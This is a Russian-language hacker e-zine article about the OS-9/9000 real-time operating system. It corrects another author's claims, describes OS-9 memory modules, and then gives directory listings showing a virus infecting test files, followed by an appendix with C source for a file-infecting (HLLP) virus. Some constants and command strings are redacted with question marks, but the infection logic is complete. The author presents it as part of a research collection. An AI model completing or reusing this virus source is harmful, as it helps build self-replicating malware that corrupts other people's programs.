ЧЕТЫРЕУС ДЛЯ ОСЬ МИНУС ДЕВЯТЬ
by DrMAD
Просматривая 4-й выпуск электронного журнала x25 (посвященного
сетевым unix -технологиям), я вздрогнул, встретив знакомое наименование
операционной системы: OS-9. Дело в том, что лет 7-8 назад я довольно
активно и серьезно прогал в этой системе, потом часто сталкивался с
необходимостью работы в ней года примерно до 2000, и до сих пор
сохранил о ней самые романтичные воспоминания. Я про нее даже книжку
написал /1/. J
Итак, вот что я увидел в этой статье (автор - madcr) :
Что такое os9 ? os9 является осью реального времени для 68xxx
процессоров созданная непосредственно компаниями microware и
motorola в 1979 году. Версия которую мы рассмотрим в этой
статье - os9 level II, в нашем случае работающую на 68030
процессоре. В настоящее время os9 переродилась в os9000 и
работает на ppc и x86 процах, но, как я сказал выше, мы
рассмотрим более древнюю os9, которая до сих пор используется
для разных нужд...
Все немножко совсем не так. J OS-9 - действительно многозадачная
операционная система реального времени от фирмы Microware,
оптимизированная для использования в системах автоматизации. Но это не
клон UNIX! Авторы операционной системы обеспечили лишь внешнюю
похожесть своей системы на UNIX (иерархичность файловой структуры,
названия системных утилит, названия Си-шных функций в API и т.п.), но
внутренняя архитектура у OS9 - своя, абсолютно оригинальная.
Первоначально OS-9 была ориентирована на процессоры MC 68K, но на
рубеже 80-90-х годов появилась разновидность под названием OS-9000,
ориентирванная на i80x86. С точки зрения юзера или прикладного
программиста OS-9 и OS-9000 - это одна и та же операционная система:
одинаковое поведение, одинаковый внешний интерфейс (командная строка),
одинаковые системные утилиты, одинаковое распределение памяти,
одинаковая файловая система, одинаковые исходные тесты программ.
Работая в OS-9, можно компилировать свои программы в машинный код для
OS-9000 и наоборот. Обычно программировать приходится на Си, мне больше
по душе простенький "OS-9 C compiler", хотя много лет уже основным
средством программирования считается мощный оптимизирующий "OS-9 Ultra
C/C++ compiler". Лет 5 назад произошло обратное слияние, оба
варианта операционной системы снова носят название OS-9.
OS-9/9000 - конфигурируемая система. Это очень компактное и
быстродействующее ядро, которое можно обвешать минимальным набором
драйверов и закачать через RS-232 в память крохотного дешевого
микроконтроллера. А можно завалить компиляторами, отладчиками, хелпами,
системными утилитами, графической оболочкой X-Window и работать в
полном комфорте, попивая чаек и попаривая ноги в тазике.
Одна из интересных особенностей OS-9 - поддержка модулей памяти
(memory module). Все компоненты операционной системы организуются
именно в виде модулей.
Прикладная программа - это модуль. Драйвер внешнего устройства -
это модуль. Дескриптор внешнего устройства (набор данных, не содержащий
кода, а только ресурсы) - модуль. Фрагмент оперативной памяти,
зафиксированный в ней постоянно и служащий для обмена данными между
процессами - тоже модуль.
Структура модуля /2/:
+-----------------------------------+
| Заголовок: |
| - сигнатура; |
| - имя модуля; |
| - длина модуля; |
| - флаги дуступа; |
| - тип содержимого; |
| - адреса фрагментов содержимого; |
| - контрольная сумма заголовка; |
| - прочая служебная инфа. |
+-----------------------------------+
| |
| Содержимое |
| |
. . .
| |
+-----------------------------------+
| CRC содержимого |
+-----------------------------------+
Разумеется, еще 8 лет назад я написал несколько вирусов для
OS-9/9000! J
Вот исходник одного из самых простых. Это примитивный HLLP-вирус,
он заражает все найденные программные модули в текущем каталоге данных.
Кстати, в OS-9 поддерживаются два РАЗНЫХ текущих каталога: текущий
каталог данных и текущий каталог исполняемых программ. Они могут
отображаться в одно и тоже место, а могут и в разные.
Этот вирус "пожирает" свою жертву: помещает ее в свою область
глобальных данных, а при необходимости "отрыгивает" в файл со случайным
именем, запускает, а потом снова удаляет.
Бинарник, конечно же, не прилагается. Его просто не осталось в
природе, и восстанавливать его у меня нет желания. А скомпилировать
исходник, не имея OS-9/9000 и моих советов, вам вряд ли удастся. По
крайней мере, как я обошелся с CRC - пусть останется моим ноу-хау. J
Впрочем, у меня полная и официальная версия, а вы можете залезть на
http:\\www.microware.com и заказать себе бесплатный CD с демоверсиями
компиляторов, кросс-оболочек и возможностью сделать себе загрузочную
дискетку OS-9.
Исходное состояние каталога:
Owner Last modified Attributes Block Bytecount Name
------- ------------- ---------------- ------- --------- ----
0.0 79/12/31 1802 -------------ewr 3DA1 6020 goat
0.0 79/12/31 1821 -------------ewr 3E3F 25978 virus
После запуска вируса. Видно, что goat "поправился" на 19Кб:
Owner Last modified Attributes Block Bytecount Name
------- ------------- ---------------- ------- --------- ----
0.0 79/12/31 1813 -------------ewr 3DA1 25978 goat
0.0 79/12/31 1813 -------------ewr 3E3F 25978 virus
Теперь копируем в каталог здоровенький goat2:
Owner Last modified Attributes Block Bytecount Name
------- ------------- ---------------- ------- --------- ----
0.0 79/12/31 1813 -------------ewr 3DA1 25978 goat
0.0 79/12/31 1802 -------------ewr 3DD3 6020 goat2
0.0 79/12/31 1813 -------------ewr 3E3F 25978 virus
И запускаем зараженный goat, теперь заражены все:
Owner Last modified Attributes Block Bytecount Name
------- ------------- ---------------- ------- --------- ----
0.0 79/12/31 1814 -------------ewr 3DA1 25978 goat
0.0 79/12/31 1814 -------------ewr 3DD3 25978 goat2
0.0 79/12/31 1814 -------------ewr 3E3F 25978 virus
Voila, жизнеспособнось вируса доказана!
Собственно говоря, этот вирус - один из экспонатов моей личной
коллекции вирусов, работающих в самых экзотических программно-аппаратных
средах. Эта коллекция изредка пополняется и служит фактологической
основой для довольно серьезных исследований, посвященных вопросам
безопасности в системах промышленной автоматизации. По крайней мере,
пара "бумажных" статей в разных сборниках на эту тему у меня уже
имеется.
Поэтому прошу 273-ю статью на меня не катить! J
ЛИТЕРАТУРА
1. Баландин А.В., Климентьев К.Е. Устройство и функционирование
операционной системы реального времени OS-9/9000. / Самара: Университет
Наяновой, 1996. - 101 с.
2. OS-9000 Technical Manual. Version 2.2.
ПРИЛОЖЕНИЕ. Исходник вируса (даже не пытайтесь компилировать !!!).
/* Simple virus for OS-9/9000, (c) 1996 */
#include <stdio.h>
#include <dir.h>
#include <modes.h>
#include <time.h>
#include <module.h>
#include <reg386.h>
#define MAXLEN ?????
#define SELFLEN ?????
#define GOATPOS ?????
DIR *d;
mh_com *m;
struct direct *de;
char *selfname;
char rndname[9];
int f, f2;
time_t t;
unsigned char *buf, *buf2;
int q, q1, q2;
int i, j;
char fstr[]={"??????????????????????"};
char dstr[]={"??????????????????????"};
unsigned char buf1[MAXLEN]={"???????"}; /* Here's the goat file */
void infect(s) char *s;
{
if (s[0]=='.') return;
if ((f = open(s, S_IREAD|S_IWRITE))==-1) return;
if ((q = read(f, buf, MAXLEN))==MAXLEN) return;
if ((m->m_sync!=0x4AFC)&&(m->m_sync!=0x4AFD)) { close(f); return; }
if ((buf[0x50]=='v')&&
(buf[0x51]=='i')&&
(buf[0x52]=='r')&&
(buf[0x53]=='u')&&
(buf[0x54]=='s')) { close(f); return; }
lseek(f, 0, 0);
if ((q1 = write(f, buf2, SELFLEN))==-1) { close(f); return; }
lseek(f, GOATPOS, 0);
if ((q1 = write(f, buf, q))==-1) { close(f); return; }
close(f);
i=0; while (s[i]) fstr[i+10]=s[i++]; fstr[i+11]='\0';
system(fstr);
}
main(argn, args) int argn; char *args[];
{
selfname = args[0];
if ((m = (mh_com *) (buf = (unsigned char *) malloc(MAXLEN)))==NULL) return 1;
if ((buf2 = (unsigned char *) malloc(SELFLEN))==NULL) return 2;
if ((d = opendir("."))==NULL) return 3;
if ((f2 = open(selfname, S_IREAD))==-1) return 4;
if ((q2 = read(f2, buf2, SELFLEN))==-1) { close(f2); return 5; };
close(f2);
rewinddir(d);
while ((de = readdir(d)) != NULL) infect(de->d_name);
free(buf); free(buf2);
m = (mh_com *) buf1;
if ((m->m_sync==0x4AFC)||(m->m_sync==0x4AFD)) /* Is here goat? */
{
time(&t);
for (i=0;i<8;i++)
{
rndname[i] = 'a' + t%27;
t = t/2;
}
rndname[8]='\0';
if ((f2 = create(rndname,
S_IREAD|S_IWRITE,
S_IREAD|S_IWRITE|S_IEXEC))==-1) return 6;
if ((q2==write(f2, buf1, m->m_size ))==-1) { close(f2); return 7; };
close(f2);
os9fork( rndname, "", 0, 40000, 0, 0, 0 );
wait(0);
i=0; while (rndname[i]) dstr[i+4]=rndname[i++]; dstr[i+5]='\0';
system(dstr);
}
}
|